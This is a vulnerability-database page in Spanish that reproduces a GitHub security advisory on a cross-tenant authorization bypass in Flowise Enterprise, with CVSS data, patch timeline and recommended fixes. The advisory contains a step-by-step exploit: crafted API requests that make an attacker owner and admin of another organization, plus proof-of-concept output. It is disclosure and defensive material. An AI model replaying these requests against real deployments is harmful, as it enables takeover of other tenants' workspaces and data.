llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · flowise

GHSA-PPRX-4PRJ-35MJ

Cross-tenant organization admin takeover via unscoped organization/workspace membership APIs

Parche disponible
Descargar PNG JSON
CVSS 4.0
7.7
Alta
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -33 d de la divulgación
Exposición80 dDesde la divulgación, 31 ago 2026, 9:00 a. m.
Detección79 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 3.1.4
Monitoreo
Detectada +1
29 jul 26
31 ago 26
18 nov 26
19 nov 26
29 jul 26
26 ago 26
24 sept 26
22 oct 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.1.4 flowise · -33 d desde divulgación
Divulgación Publicada GHSA-PPRX-4PRJ-35MJ divulgada · CVSS 7.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Cross-tenant organization admin takeover via unscoped organization/workspace membership APIs

I am privately reporting a novel cross-tenant authorization bypass in Flowise Enterprise/Cloud multi-tenant routes. A user who has management permissions only in their own organization can supply another organization's IDs to membership/workspace APIs, add themselves as an owner of the victim organization, create a foothold workspace in that victim organization, switch into it, receive `isOrganizationAdmin: true`, and then add themselves to existing victim workspaces.

Please credit GitHub user `@huslayer826` as the finder/reporter if this is accepted. I am requesting CVE handling/credit under that reporter account.

Affected Versions

Confirmed affected:

  • Repository: `FlowiseAI/Flowise`
  • Tested commit: `b2550f7ffeb1e2720c036893e698e0f43e42f0be`
  • `git describe`: `flowise-components@3.1.2-78-gb2550f7f`
  • package version: `flowise` `3.1.2`
  • Tested Node target: `.nvmrc` `v20.20.2`
  • Package manager/dependency state: `pnpm-lock.yaml` frozen install, lockfile sha256 `1344857230836db0b33ca0923994c51a28aa801f225419374c2fad1df1e96f3d`

Exact lower bound was not established. Prior releases with the same enterprise organization/workspace route logic are likely affected.

Severity

Suggested CVSS v3.1:

`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = 9.9 critical

Reasoning:

  • AV:N: remotely reachable HTTP API.
  • AC:L: direct API calls with attacker-controlled IDs.
  • PR:L: requires a valid authenticated user with management permissions in their own tenant, not in the victim tenant.
  • UI:N: no victim interaction.
  • S:C: crosses organization/tenant authorization boundary.
  • C/I/A:H: attacker becomes organization admin in the victim organization and can access/administer victim workspaces and resources.

If Flowise treats source-tenant organization ownership as high privilege, a conservative alternate score is `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H` = 9.1.

CWE

  • CWE-639: Authorization Bypass Through User-Controlled Key
  • CWE-862: Missing Authorization
  • CWE-266: Incorrect Privilege Assignment

Root Cause

The enterprise membership APIs authorize only the caller's current permission bit, then trust attacker-supplied tenant object IDs:

  • `packages/server/src/enterprise/routes/organization-user.route.ts`: `POST /api/v1/organizationuser` only checks `users:manage`.
  • `packages/server/src/enterprise/controllers/organization-user.controller.ts`: `create()` passes raw `req.body`.
  • `packages/server/src/enterprise/services/organization-user.service.ts`: `createOrganizationUser(data)` accepts body `organizationId`, `userId`, and `roleId`; `readRoleIsGeneral(data.roleId)` allows assigning the global `owner` role.
  • `packages/server/src/enterprise/routes/workspace.route.ts`: `POST /api/v1/workspace` only checks `workspace:create`.
  • `packages/server/src/enterprise/controllers/workspace.controller.ts`: `create()` passes raw `req.body`; `switchWorkspace()` sets `isOrganizationAdmin` from the workspace role.
  • `packages/server/src/enterprise/services/workspace-user.service.ts`: `createWorkspace(data)` creates a workspace in the supplied `organizationId`, then assigns workspace ownership from the attacker's newly injected victim-org organization membership.
  • `packages/server/src/enterprise/rbac/PermissionCheck.ts`: `checkPermission()` and `checkAnyPermission()` bypass later permission checks when `user.isOrganizationAdmin` is true.

Important source locations in the tested commit:

  • `packages/server/src/enterprise/routes/organization-user.route.ts`, line 11
  • `packages/server/src/enterprise/controllers/organization-user.controller.ts`, lines 23-30
  • `packages/server/src/enterprise/services/organization-user.service.ts`, lines 212-240
  • `packages/server/src/enterprise/routes/workspace.route.ts`, lines 11 and 14
  • `packages/server/src/enterprise/controllers/workspace.controller.ts`, lines 21-25 and 70-150
  • `packages/server/src/enterprise/services/workspace-user.service.ts`, lines 225-248 and 254-330
  • `packages/server/src/enterprise/rbac/PermissionCheck.ts`, lines 5-20 and 24-40

Minimal Exploit Flow

Prerequisites:

  • Attacker has a normal authenticated Flowise session in organization A.
  • Attacker has `users:manage` and `workspace:create` in organization A.
  • Attacker does not have any role or membership in victim organization B.
  • Attacker knows/obtains victim `organizationId` and target `workspaceId` values.

Step 1: add the attacker as a global owner in victim organization B:

POST /api/v1/organizationuser
Content-Type: application/json

{
  "organizationId": "<victimOrganizationId>",
  "userId": "<attackerUserId>",
  "roleId": "<globalOwnerRoleId>",
  "createdBy": "<attackerUserId>"
}

Step 2: create a foothold workspace in victim organization B:

POST /api/v1/workspace
Content-Type: application/json

{
  "name": "Attacker Foothold Workspace",
  "organizationId": "<victimOrganizationId>",
  "userId": "<attackerUserId>",
  "createdBy": "<attackerUserId>"
}

Step 3: switch into the attacker-created victim-org workspace:

POST /api/v1/workspace/switch?id=<attackerFootholdWorkspaceId>

The session is returned with `activeOrganizationId` set to the victim organization and `isOrganizationAdmin: true`.

Step 4: as victim org admin, list victim workspaces and add the attacker to an existing victim workspace:

GET /api/v1/workspace
POST /api/v1/workspaceuser
Content-Type: application/json

{
  "workspaceId": "<existingVictimWorkspaceId>",
  "userId": "<attackerUserId>",
  "roleId": "<globalOwnerRoleId>",
  "createdBy": "<attackerUserId>"
}

Step 5: switch into the existing victim workspace and access/administer victim resources.

Local Validation

I validated this locally only, against a disposable Postgres database and a locally built Flowise server. No public targets were used.

Observed PoC output:

login attacker: HTTP 200
{
  "isOrganizationAdmin": false,
  "permissions": [
    "users:manage",
    "workspace:create"
  ]
}
pre-exploit victim credential read: HTTP 403
{
  "message": "Forbidden"
}
inject attacker as victim org owner: HTTP 201
{
  "organizationId": "0021c5a1-74f4-4c59-a50d-44c496786e6e"
}
create victim-org foothold workspace: HTTP 201
{
  "id": "a018485f-2c12-479e-9f1f-c0c7986dbf6e"
}
switch to foothold workspace: HTTP 200
{
  "activeOrganizationId": "0021c5a1-74f4-4c59-a50d-44c496786e6e",
  "isOrganizationAdmin": true
}
list victim org workspaces: HTTP 200
[
  "Victim Workspace",
  "Attacker Foothold Workspace"
]
add attacker to victim workspace: HTTP 201
{
  "workspaceId": "f80a8cbf-310a-4d39-9b06-1eefdb8ec940"
}
switch to victim workspace: HTTP 200
{
  "activeWorkspaceId": "f80a8cbf-310a-4d39-9b06-1eefdb8ec940",
  "isOrganizationAdmin": true
}
post-exploit victim credential read: HTTP 200
{
  "id": "dff18135-cc2b-408f-b4ee-be9b43bbd8d6",
  "workspaceId": "f80a8cbf-310a-4d39-9b06-1eefdb8ec940",
  "plainDataObj": {
    "clientId": "victim-client-id-visible-after-cross-tenant-escalation",
    "clientSecret": "_FLOWISE_BLANK_07167752-1a71-43b1-bf8f-4f32252165db"
  }
}
RESULT=VULNERABLE

The credential endpoint redacts secret fields by design. I am not claiming raw credential theft through that specific endpoint; the demonstrated impact is cross-tenant organization admin takeover and victim workspace access/control.

Novelty / Prior Art Checked

I searched GitHub Advisories, OSV, NVD, the GitHub Advisory Database, GitHub issues/PRs/security references, and broad web results for the exact route/function/sink names:

  • `organizationuser`
  • `workspaceuser`
  • `createOrganizationUser`
  • `createWorkspaceUser`
  • `createWorkspace`
  • `isOrganizationAdmin`
  • `users:manage`
  • `workspace:create`
  • `organization-user.service.ts`
  • `workspace-user.service.ts`

I did not find a public advisory for this route chain.

This is not CVE-2026-46480 / GHSA-wxrr-jp8m-qq7f. That advisory concerns Evaluator create/update mass assignment and workspace ID reassignment. This report does not use the Evaluator API and does not rely on that sink/root cause.

This is also distinct from GHSA-48m6-ch88-55mj / CVE-2026-41267. That advisory concerns unauthenticated account registration mass assignment. This exploit is post-authenticated, does not use `/api/v1/account/register`, and remains reachable through the enterprise membership/workspace APIs.

This is distinct from GHSA-wvhq-wp8g-c7vq / CVE-2026-30820. That advisory concerns spoofing `x-request-from` to bypass route protection. This report uses a valid authenticated session and normal route checks; the failure is cross-tenant object authorization in membership/workspace creation and the later `isOrganizationAdmin` derivation.

Recommended Fix

  • Do not trust `organizationId`, `workspaceId`, `userId`, `roleId`, or `createdBy` from request bodies for membership mutations.
  • `POST/PUT/DELETE /api/v1/organizationuser` should assert that the target organization is the caller's active organization and that the caller is authorized to manage users in that organization.
  • Prevent non-owner/non-admin callers from assigning the global `owner` role.
  • `POST /api/v1/workspace` should derive `organizationId`, `userId`, and `createdBy` from the authenticated session, not from the request body. Reject mismatched body tenant IDs.
  • `POST/PUT/DELETE /api/v1/workspaceuser` should assert that the target workspace belongs to the active organization and that the caller can manage that specific workspace.
  • `switchWorkspace()` should not derive organization-admin status solely from a workspace role. It should compute organization admin from the `OrganizationUser` role in the active organization.

Regression Tests

Suggested tests:

  1. User with `users:manage` in org A cannot create an `OrganizationUser` row for org B.
  2. User with `workspace:create` in org A cannot create a workspace in org B by supplying org B's `organizationId`.
  3. `switchWorkspace()` does not set `isOrganizationAdmin` based only on workspace owner role.
  4. Org/workspace admin in org A cannot add users to a workspace in org B.
  5. Existing registration mass-assignment sanitization remains covered so this fix does not regress GHSA-48m6-ch88-55mj.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:P
NingunoPresentes
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:H
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flowise≤ 3.1.3
3.1.3
3.1.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmflowise
Corregida 3.1.4 -33 d 3.1.4 no afectada
Versiones corregidas3.1.4
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pprx-4prj-35mj

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.